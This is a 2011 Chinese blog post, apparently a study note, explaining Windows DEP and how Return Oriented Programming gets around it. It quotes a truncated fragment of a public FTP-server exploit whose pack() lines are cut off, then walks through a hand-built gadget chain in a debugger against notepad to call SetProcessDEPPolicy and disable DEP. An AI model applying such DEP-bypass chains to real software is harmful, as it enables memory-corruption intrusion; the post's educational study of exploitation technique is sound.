学习DEP ROP
发布时间:2011-10-08 20:30:08
发布时间:2011-10-08 20:30:08
学习DEP ROP
DEP(data execution prevention)是数据执行保护的意思。通常情况下,不从默认堆和堆栈执行代码。硬件实施 DEP 检测从这些位置运行的代码,并在发现执行情况时引发异常。软件实施 DEP 可帮助阻止恶意代码利用 Windows 中的异常处理机制进行破坏。它的优点是可以帮助防止数据页执行代码。
如上所述,在溢出利用中没法直接执行堆栈上的代码。那如何才能绕过去呢?
没有溢出时,数据就只能作为数据。有溢出时,数据除了可以作为数据外,还可以作为地址和代码。在DEP出现之前的溢出利用中,大部分的数据解释为代码,只有一两个DWORD作为地址。一个是作为RET地址,另一个是SHE地址。在DEP的利用中,解释为地址的数据就很多了。这其中ROP(Return Oriented Programming)技术就是这样的。
ROP技术就是把你所要的代码写成一系列地址形式,这些地址指向真正的代码。
这些引用的代码特点是都以RET结尾。
下图是http://www.exploit-db.com/exploits/17886/上的运用ROP的例子截图。
“Freefloat FTP Server DEP Bypass”
关键的几行如下:
buffer = "\x41" * 230
eip = pack('
rop = "\x42" * 8 # compensate
rop += pack('
rop += "\xff\xff\xff\xff"
rop += pack('
rop += pack('
rop += pack('
rop += pack('
rop += pack('
rop += pack('
rop += pack('
rop += pack('
nops = "\x90" * 10
junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode))
由于这是国外的一个例子,不适用于我现在的环境。因为我没装python、没装Freefloat FTP Server。而且我也不想为了学习DEP ROP装这些东西,根本没必要。
我现在的系统是XPSP3,所以找了系统上的记事本notepad作为练习目标。
第一个测试
载入记事本后,先在CPU中Ctrl+G到ESP,并把ESP附近用NOP填充。再设置ESP处为新EIP,F8单步运行,出现访问违规错误。这说明堆栈里不可以运行代码。
第二个测试
载入后,随便在代码中用汇编写入如下指令:
POP EBX, RETN
INC EBX, RETN
POP EBP, RETN
POP EDI, RETN
POP ESI, RETN
PUSHAD , RETN
我找了几个地方写入,如下:
010073AB 5B pop ebx
010073AC C3 retn
010073BB 43 inc ebx
010073BC C3 retn
010073C8 5D pop ebp
010073C9 C3 retn
010073E6 5F pop edi
010073E7 C3 retn
010073F8 5E pop esi
010073F9 C3 retn
01007406 60 pushad
01007407 C3 retn
因为我只是验证这个方法,所以没去找这些指令的地址。
上面构造的代码地址就是假设找到的地址。
Ret地址可以用上面ret前面的地址。
再更改ESP后两位为0。因为刚载人ESP离堆栈底太近,这样是为了抬高栈顶。
我这里改后是ESP=0007FF00。
按布局把上面的地址输入ESP所指向的堆栈里,如下:
0007FF00 010073AB notepad.010073AB ;POP EBX, RETN
0007FF04 FFFFFFFF ;ebx=FFFFFFFF
0007FF08 010073BB notepad.010073BB ;INC EBX, RETN ;ebx=0
0007FF0C 010073C8 notepad.010073C8 ;POP EBP, RETN ;ebp= SetProcessDEPPolicy
0007FF10 7C8622A4 kernel32.SetProcessDEPPolicy
0007FF14 010073E6 notepad.010073E6 ;POP EDI, RETN
0007FF18 010073E7 notepad.010073E7 ;RETN
0007FF1C 010073F8 notepad.010073F8 ;POP ESI, RETN
0007FF20 010073E7 notepad.010073E7 ;RETN
0007FF24 01007406 notepad.01007406 ;PUSHAD , RETN
0007FF28 90909090 ;这里开始就可以执行代码了
0007FF2C 90909090
0007FF30 90909090
找一个ret地址为新EIP,这里用“010073E7 C3 retn”。
F7单步运行
运行到
01007406 60 pushad 这步过后,堆栈截图如下
01007407 C3 retn
PUSHAD (Push All 32-bit General Registers)
指令格式:PUSHAD ;80386+
其功能是把寄存器EAX、ECX、EDX、EBX、ESP、EBP、ESI和EDI等压栈。
0007FF08 EDI
0007FF0C ESI
0007FF10 EBP = kernel32.SetProcessDEPPolicy
0007FF14 ESP
0007FF18 EBX =0 ;构造SetProcessDEPPolicy参数
0007FF1C EDX
0007FF20 ECX
0007FF24 EAX
0007FF28
精心构造参数,使SetProcessDEPPolicy 执行时满足禁止DEP的条件,
执行完SetProcessDEPPolicy后,就可以执行007FF28开始的代码而不会出现访问错误了。